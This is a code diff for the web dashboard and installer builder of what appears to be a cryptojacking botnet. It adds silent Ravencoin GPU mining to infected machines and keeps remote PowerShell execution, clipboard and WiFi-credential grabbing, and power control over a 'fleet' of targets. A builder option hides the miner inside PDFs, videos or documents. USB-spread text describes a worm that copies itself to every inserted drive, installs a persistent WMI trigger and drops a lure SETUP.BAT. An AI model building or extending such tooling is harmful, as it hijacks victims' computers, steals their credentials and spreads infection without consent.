<div className="compact-offline-banner">⚠ offline — commands disabled</div>
|
||||
)}
|
||||
<div className="agent-remote-row">
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
|
||||
<button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner">⏸</button>
|
||||
<button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner">▶</button>
|
||||
<button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine">↺</button>
|
||||
<button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine">⏻</button>
|
||||
<button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀</button>
|
||||
<button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process">✕</button>
|
||||
</div>
|
||||
{terminalLog.length > 0 && (
|
||||
<div className="compact-terminal">
|
||||
{terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -202,8 +278,12 @@ export default function AgentRemoteActions({
|
||||
<div className="tactical-panel">
|
||||
<div className="tactical-header">
|
||||
<div className="target-indicator">
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
|
||||
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
|
||||
{!isFleet && !isOnline && (
|
||||
<span className="offline-badge">OFFLINE — commands disabled</span>
|
||||
)}
|
||||
{busy && <span className="busy-badge">⏳ {busy}…</span>}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -235,10 +315,41 @@ export default function AgentRemoteActions({
|
||||
<div className="action-group power-group">
|
||||
<h3>System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
<div className="wol-row" style={{ marginTop: '0.75rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan wol-toggle"
|
||||
onClick={() => setWolExpanded((p) => !p)}
|
||||
title="Send Wake-on-LAN magic packet to power on a sleeping machine"
|
||||
>
|
||||
☀ Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
|
||||
</button>
|
||||
{wolExpanded && (
|
||||
<div className="wol-form">
|
||||
<input
|
||||
type="text"
|
||||
className="wol-mac-input"
|
||||
placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF"
|
||||
value={wolMac}
|
||||
onChange={(e) => setWolMac(e.target.value)}
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan"
|
||||
disabled={!!busy}
|
||||
onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
|
||||
>
|
||||
{busy === 'wol' ? 'Sending…' : 'Send Packet'}
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group upgrade-group">
|
||||
@@ -395,11 +506,23 @@ export default function AgentRemoteActions({
|
||||
</div>
|
||||
|
||||
<div className="master-terminal">
|
||||
<div className="terminal-titlebar">
|
||||
<span className="terminal-title">◈ REMOTE TERMINAL — {agentId === 'all' ? 'FLEET' : agentName}</span>
|
||||
<button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
|
||||
</div>
|
||||
<div className="terminal-output">
|
||||
{terminalLog.length === 0 ? (
|
||||
<span className="terminal-placeholder">Awaiting telemetry...</span>
|
||||
<div className="terminal-placeholder">
|
||||
<div>◈ Terminal ready — send a command to see output here</div>
|
||||
{isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
|
||||
{!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline — only WOL is available</div>}
|
||||
</div>
|
||||
) : (
|
||||
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
|
||||
terminalLog.map((log, i) => (
|
||||
<div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
|
||||
{log}
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
<div ref={logEndRef} />
|
||||
</div>
|
||||
@@ -409,11 +532,11 @@ export default function AgentRemoteActions({
|
||||
type="text"
|
||||
value={customCmd}
|
||||
onChange={(e) => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
|
||||
autoComplete="off"
|
||||
disabled={!isOnline}
|
||||
/>
|
||||
<button type="submit" disabled={!isOnline}>EXEC</button>
|
||||
<button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
@@ -0,0 +1,178 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import type { BackupPool } from '../types';
|
||||
import {
|
||||
RVN_POOL_PRESETS,
|
||||
DEFAULT_RVN_PRESET_IDS,
|
||||
orderedRVNPoolsFromSelection,
|
||||
detectRVNPresetIds,
|
||||
applyRVNPoolsToForgeFields,
|
||||
type RVNPoolForgeFields,
|
||||
} from '../help/poolPresets';
|
||||
import './PoolPresetPicker.css';
|
||||
|
||||
interface RVNPoolPresetPickerProps {
|
||||
host: string;
|
||||
port: number;
|
||||
tls: boolean;
|
||||
pass: string;
|
||||
backups?: BackupPool[];
|
||||
onChange: (next: RVNPoolForgeFields) => void;
|
||||
}
|
||||
|
||||
export default function RVNPoolPresetPicker({
|
||||
host,
|
||||
port,
|
||||
tls,
|
||||
pass,
|
||||
backups = [],
|
||||
onChange,
|
||||
}: RVNPoolPresetPickerProps) {
|
||||
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
|
||||
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||
return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS];
|
||||
});
|
||||
const [useCustom, setUseCustom] = useState(false);
|
||||
const [customHost, setCustomHost] = useState('');
|
||||
const [customPort, setCustomPort] = useState(6060);
|
||||
const [customTls, setCustomTls] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||
if (detected.length) setSelectedIds(detected);
|
||||
}, [host, port, tls, backups]);
|
||||
|
||||
const orderedPreview = useMemo(() => {
|
||||
const custom: BackupPool | null = useCustom && customHost.trim()
|
||||
? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' }
|
||||
: null;
|
||||
return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom);
|
||||
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
|
||||
|
||||
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
|
||||
const custom: BackupPool | null =
|
||||
customOn && cHost.trim()
|
||||
? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' }
|
||||
: null;
|
||||
const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom);
|
||||
onChange(applyRVNPoolsToForgeFields(pools));
|
||||
};
|
||||
|
||||
const togglePreset = (id: string) => {
|
||||
const next = selectedIds.includes(id)
|
||||
? selectedIds.filter((x) => x !== id)
|
||||
: [...selectedIds, id];
|
||||
if (!next.length) return;
|
||||
setSelectedIds(next);
|
||||
applySelection(next, useCustom, customHost, customPort, customTls);
|
||||
};
|
||||
|
||||
const grouped = useMemo(() => {
|
||||
const map = new Map<string, typeof RVN_POOL_PRESETS>();
|
||||
for (const p of RVN_POOL_PRESETS) {
|
||||
const list = map.get(p.provider) ?? [];
|
||||
list.push(p);
|
||||
map.set(p.provider, list);
|
||||
}
|
||||
return [...map.entries()];
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div className="pool-preset-picker rvn-pool-picker">
|
||||
<p className="form-hint pool-preset-hint">
|
||||
Select one or more Ravencoin (KawPoW) pools. Failover order applies — primary is tried first.
|
||||
</p>
|
||||
<div className="pool-preset-grid">
|
||||
{grouped.map(([provider, presets]) => (
|
||||
<div key={provider} className="pool-preset-group">
|
||||
<span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}>
|
||||
{provider}
|
||||
</span>
|
||||
{presets.map((p) => (
|
||||
<label key={p.id} className="pool-preset-option checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={selectedIds.includes(p.id)}
|
||||
onChange={() => togglePreset(p.id)}
|
||||
/>
|
||||
<span>
|
||||
<code>{p.host}:{p.port}</code>
|
||||
{p.tls ? ' TLS' : ''}
|
||||
<span className="pool-preset-sub"> ({p.hint})</span>
|
||||
</span>
|
||||
</label>
|
||||
))}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="pool-preset-custom">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={useCustom}
|
||||
onChange={(e) => {
|
||||
const on = e.target.checked;
|
||||
setUseCustom(on);
|
||||
applySelection(selectedIds, on, customHost, customPort, customTls);
|
||||
}}
|
||||
/>
|
||||
<span>Add custom pool</span>
|
||||
</label>
|
||||
{useCustom && (
|
||||
<div className="pool-preset-custom-fields form-row">
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="pool.example.com"
|
||||
value={customHost}
|
||||
onChange={(e) => {
|
||||
setCustomHost(e.target.value);
|
||||
applySelection(selectedIds, true, e.target.value, customPort, customTls);
|
||||
}}
|
||||
/>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={customPort}
|
||||
onChange={(e) => {
|
||||
const v = e.target.valueAsNumber || 6060;
|
||||
setCustomPort(v);
|
||||
applySelection(selectedIds, true, customHost, v, customTls);
|
||||
}}
|
||||
/>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={customTls}
|
||||
onChange={(e) => {
|
||||
setCustomTls(e.target.checked);
|
||||
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
|
||||
}}
|
||||
/>
|
||||
<span>TLS</span>
|
||||
</label>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{orderedPreview.length > 0 && (
|
||||
<div className="pool-preset-order">
|
||||
<span className="font-tech">Failover order</span>
|
||||
<ol>
|
||||
{orderedPreview.map((p, i) => (
|
||||
<li key={`${p.host}:${p.port}:${p.tls}`}>
|
||||
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
|
||||
{p.tls ? ' (TLS)' : ''}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -370,7 +370,7 @@ describe('AgentRemoteActions', () => {
|
||||
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
|
||||
expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Terminal ready/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('disables recon buttons when agent offline', async () => {
|
||||
|
||||
@@ -144,6 +144,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
|
||||
@@ -80,6 +80,114 @@ export const XMR_POOL_PRESETS: PoolPreset[] = [
|
||||
|
||||
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
|
||||
|
||||
// ─── Ravencoin (RVN / KawPoW) pool presets ───────────────────────────────────
|
||||
|
||||
export interface RVNPoolPreset {
|
||||
id: string;
|
||||
provider: string;
|
||||
host: string;
|
||||
port: number;
|
||||
tls: boolean;
|
||||
hint: string;
|
||||
}
|
||||
|
||||
export const RVN_POOL_PRESETS: RVNPoolPreset[] = [
|
||||
{
|
||||
id: '2miners-rvn',
|
||||
provider: '2Miners',
|
||||
host: 'rvn.2miners.com',
|
||||
port: 6060,
|
||||
tls: false,
|
||||
hint: ':6060',
|
||||
},
|
||||
{
|
||||
id: 'herominers-rvn',
|
||||
provider: 'HeroMiners',
|
||||
host: 'rvn.herominers.com',
|
||||
port: 1140,
|
||||
tls: false,
|
||||
hint: ':1140',
|
||||
},
|
||||
{
|
||||
id: 'minerpool-rvn',
|
||||
provider: 'MinePool',
|
||||
host: 'us.rvn.minepool.io',
|
||||
port: 3333,
|
||||
tls: false,
|
||||
hint: ':3333',
|
||||
},
|
||||
{
|
||||
id: 'woolypooly-rvn',
|
||||
provider: 'WoolyPooly',
|
||||
host: 'rvn.woolypooly.com',
|
||||
port: 55555,
|
||||
tls: false,
|
||||
hint: ':55555',
|
||||
},
|
||||
{
|
||||
id: 'ravenminer',
|
||||
provider: 'RavenMiner',
|
||||
host: 'us.ravenminer.com',
|
||||
port: 3838,
|
||||
tls: false,
|
||||
hint: ':3838',
|
||||
},
|
||||
{
|
||||
id: 'nanopool-rvn',
|
||||
provider: 'Nanopool',
|
||||
host: 'rvn-us-west1.nanopool.org',
|
||||
port: 12222,
|
||||
tls: false,
|
||||
hint: ':12222',
|
||||
},
|
||||
];
|
||||
|
||||
export const DEFAULT_RVN_PRESET_IDS = ['2miners-rvn', 'herominers-rvn', 'ravenminer'] as const;
|
||||
|
||||
export interface RVNPoolForgeFields {
|
||||
rvn_pool_host: string;
|
||||
rvn_pool_port: number;
|
||||
rvn_pool_tls: boolean;
|
||||
rvn_backup_pools: BackupPool[];
|
||||
}
|
||||
|
||||
export function orderedRVNPoolsFromSelection(
|
||||
presetIds: string[],
|
||||
pass: string,
|
||||
custom?: BackupPool | null,
|
||||
): BackupPool[] {
|
||||
const out: BackupPool[] = [];
|
||||
const seen = new Set<string>();
|
||||
for (const id of presetIds) {
|
||||
const preset = RVN_POOL_PRESETS.find((p) => p.id === id);
|
||||
if (!preset) continue;
|
||||
const key = endpointKey(preset.host, preset.port, preset.tls);
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
out.push({ host: preset.host, port: preset.port, tls: preset.tls, pass });
|
||||
}
|
||||
if (custom?.host?.trim() && custom.port > 0) {
|
||||
const key = endpointKey(custom.host, custom.port, !!custom.tls);
|
||||
if (!seen.has(key)) out.push({ ...custom, pass: custom.pass || pass || 'x' });
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
export function applyRVNPoolsToForgeFields(pools: BackupPool[]): RVNPoolForgeFields {
|
||||
const { primary, backups } = splitPrimaryAndBackups(pools);
|
||||
if (!primary) return { rvn_pool_host: '', rvn_pool_port: 6060, rvn_pool_tls: false, rvn_backup_pools: [] };
|
||||
return { rvn_pool_host: primary.host, rvn_pool_port: primary.port, rvn_pool_tls: primary.tls, rvn_backup_pools: backups };
|
||||
}
|
||||
|
||||
export function detectRVNPresetIds(host: string, port: number, tls: boolean, backups: BackupPool[] = []): string[] {
|
||||
const keys = new Set<string>();
|
||||
keys.add(endpointKey(host, port, tls));
|
||||
for (const b of backups) {
|
||||
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
|
||||
}
|
||||
return RVN_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
|
||||
}
|
||||
|
||||
function endpointKey(host: string, port: number, tls: boolean): string {
|
||||
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
|
||||
}
|
||||
|
||||
@@ -9,7 +9,8 @@ export function sanitizeScreenshotBase64(raw: string): string {
|
||||
}
|
||||
}
|
||||
if (best.length >= 100) return best;
|
||||
return trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
|
||||
const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
|
||||
return fallback.length >= 100 ? fallback : '';
|
||||
}
|
||||
|
||||
export function downloadScreenshotFromBase64(
|
||||
|
||||
@@ -213,6 +213,12 @@ export default function AgentsPage() {
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
}
|
||||
// Auto-fetch sysinfo so the terminal is pre-populated immediately
|
||||
if (agent.status === 'online') {
|
||||
setTimeout(() => {
|
||||
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
|
||||
}, 300);
|
||||
}
|
||||
};
|
||||
|
||||
const saveMeta = async () => {
|
||||
@@ -606,6 +612,7 @@ export default function AgentsPage() {
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
commandResults={commandResults}
|
||||
showLiveStats
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
|
||||
@@ -85,7 +85,7 @@ describe('BuilderPage', () => {
|
||||
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
|
||||
renderBuilder();
|
||||
expect(
|
||||
await screen.findByText('Failed to load server info — is the control server running?')
|
||||
await screen.findByText('Failed to load server config — is the control server running?')
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
@@ -101,7 +101,7 @@ describe('BuilderPage', () => {
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
||||
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
|
||||
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
|
||||
expect(screen.getByText('Pool Host')).toBeInTheDocument();
|
||||
expect(screen.getByText('Mining Pools')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('submits forge when preflight passes', async () => {
|
||||
@@ -181,7 +181,7 @@ describe('BuilderPage', () => {
|
||||
screen.getByRole('button', { name: /Hide miner in any file/i })
|
||||
);
|
||||
expect(
|
||||
screen.getByText(/Fusion selected — drop your files below and forge/i)
|
||||
screen.getByText(/Drop any file — PDF, video, document/i)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="GPU Mining — Ravencoin"
|
||||
badge="baked"
|
||||
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={!!form.gpu_enabled}
|
||||
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
|
||||
/>
|
||||
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
|
||||
</label>
|
||||
<p className="form-hint">
|
||||
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
|
||||
</p>
|
||||
</div>
|
||||
{form.gpu_enabled && (
|
||||
<>
|
||||
<div className="form-group">
|
||||
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="R... (your RVN address)"
|
||||
value={form.rvn_wallet ?? ''}
|
||||
onChange={(e) => updateField('rvn_wallet', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">Ravencoin Pools</label>
|
||||
<RVNPoolPresetPicker
|
||||
host={form.rvn_pool_host ?? ''}
|
||||
port={form.rvn_pool_port ?? 6060}
|
||||
tls={form.rvn_pool_tls ?? false}
|
||||
pass={form.rvn_pool_pass ?? 'x'}
|
||||
backups={form.rvn_backup_pools ?? []}
|
||||
onChange={(next) => {
|
||||
updateField('rvn_pool_host', next.rvn_pool_host);
|
||||
updateField('rvn_pool_port', next.rvn_pool_port);
|
||||
updateField('rvn_pool_tls', next.rvn_pool_tls);
|
||||
updateField('rvn_backup_pools', next.rvn_backup_pools);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">RVN Pool Password</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.rvn_pool_pass ?? 'x'}
|
||||
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
{form.usb_spread && (
|
||||
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
|
||||
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
|
||||
⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
|
||||
</div>
|
||||
)}
|
||||
<FieldHint field="usb_spread" />
|
||||
|
||||
@@ -47,6 +47,16 @@ import {
|
||||
osArchBreakdown,
|
||||
} from '../help/fleetAnalytics';
|
||||
import './Pages.css';
|
||||
|
||||
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
|
||||
function formatGPUHashrate(hps: number): string {
|
||||
if (!hps || hps <= 0) return '0 H/s';
|
||||
if (hps >= 1e9) return `${(hps / 1e9).toFixed(2)} GH/s`;
|
||||
if (hps >= 1e6) return `${(hps / 1e6).toFixed(2)} MH/s`;
|
||||
if (hps >= 1e3) return `${(hps / 1e3).toFixed(2)} KH/s`;
|
||||
return `${hps.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
const [shares, setShares] = useState<Share[]>([]);
|
||||
@@ -117,6 +127,29 @@ export default function DashboardPage() {
|
||||
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
|
||||
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
|
||||
const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0;
|
||||
|
||||
// ── Ravencoin / GPU fleet stats ────────────────────────────────────────────
|
||||
const gpuAgents = useMemo(
|
||||
() => agents.filter((a) => a.gpu_miner_active && a.status === 'online'),
|
||||
[agents]
|
||||
);
|
||||
const totalGPUHashrate = useMemo(
|
||||
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15m ?? 0), 0),
|
||||
[gpuAgents]
|
||||
);
|
||||
const gpuHashrate15s = useMemo(
|
||||
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15s ?? 0), 0),
|
||||
[gpuAgents]
|
||||
);
|
||||
const bestGPUAgent = useMemo(
|
||||
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||
[gpuAgents]
|
||||
);
|
||||
const gpuModels = useMemo(
|
||||
() => [...new Set(gpuAgents.map((a) => a.gpu_model).filter(Boolean))],
|
||||
[gpuAgents]
|
||||
);
|
||||
const hasGPUMining = gpuAgents.length > 0;
|
||||
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
|
||||
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
||||
@@ -455,6 +488,139 @@ export default function DashboardPage() {
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* ═══════════════════════════════════════════════════════════════════
|
||||
MONERO SUBHEADING — clarify the section above belongs to XMR
|
||||
═══════════════════════════════════════════════════════════════════ */}
|
||||
<div className="mining-coin-label monero-label">
|
||||
<span className="coin-badge xmr-badge">XMR</span>
|
||||
<span className="coin-name font-tech">MONERO</span>
|
||||
<span className="coin-algo font-tech">· RandomX CPU ·</span>
|
||||
<span className="coin-hr font-tech">{formatHashrate(totalHashrate)}</span>
|
||||
</div>
|
||||
|
||||
{/* ═══════════════════════════════════════════════════════════════════
|
||||
RAVENCOIN GPU SECTION
|
||||
═══════════════════════════════════════════════════════════════════ */}
|
||||
{hasGPUMining && (
|
||||
<div className="rvn-section">
|
||||
<div className="mining-coin-label rvn-label">
|
||||
<span className="coin-badge rvn-badge">RVN</span>
|
||||
<span className="coin-name font-tech">RAVENCOIN</span>
|
||||
<span className="coin-algo font-tech">· KawPoW GPU ·</span>
|
||||
<span className="coin-hr font-tech rvn-hashrate">{formatGPUHashrate(totalGPUHashrate)}</span>
|
||||
</div>
|
||||
|
||||
{/* Gauge row */}
|
||||
<section className="gauge-row rvn-gauges">
|
||||
<NeonCard accent="gold" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={totalGPUHashrate}
|
||||
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
|
||||
label="GPU Hash"
|
||||
sublabel="15m avg"
|
||||
color="var(--neon-gold)"
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={gpuHashrate15s}
|
||||
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
|
||||
label="GPU Live"
|
||||
sublabel="15s sample"
|
||||
color="var(--neon-amber)"
|
||||
